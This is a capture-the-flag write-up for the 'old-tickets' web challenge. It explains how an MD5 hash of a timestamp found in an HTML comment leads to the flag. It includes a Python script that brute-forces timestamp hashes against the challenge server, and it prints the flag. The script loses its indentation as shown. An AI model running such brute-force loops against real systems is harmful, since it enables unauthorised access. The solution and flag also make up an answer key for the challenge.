old-tickets
*  
web  
cyberedu

Free tickets for everyone! Support tickets that you should resolve!
Main page:
After checking the source code i saw a "PUT" method form. This method is not allowed for html and instead it will be treated as GET or POST.

There was also a comment:
<!-- Our first bug was: d63af914bd1b6210c358e145d61a8abc. Please fix now! -->

I used burp to make a post request to the server.

The server returned an error indicating that parameter code is missing.

 After more attemps I set code parameter to match the hexcode in the comment.
This returned a Try Harder response and made me think i'm on the right path.




I searched the hex code on google to see if there is anything related. I found out that it's a md5 hash that has been searched before. 
https://md5hashing.net/hash/md5/d63af914bd1b6210c358e145d61a8abc

This value is a timestamp.

This means that information about code versions is saved as md5 hashes of timestamps. I wrote a python code to search for a good such hash value and got the flag.


import requests
import hashlib

URL='http://35.198.135.192:31200/'
initial_time = 1628168161
obj = {'code':"d63af914bd1b6210c358e145d61a8ab2"}
x = requests.post(url=URL,data=obj)

for i in range(0,1000000):
time = i + initial_time
time_string = str(time)
result = hashlib.md5(time_string.encode()).hexdigest()
obj = {'code':result}
y = requests.post(url=URL,data=obj)
if(y.text!=x.text and 'ctf{' in y.text):
print(y.text)


output:
ctf{4086d9012b250dc1d821340f23b4af9b29d780552434175cb713b6d7502885c9}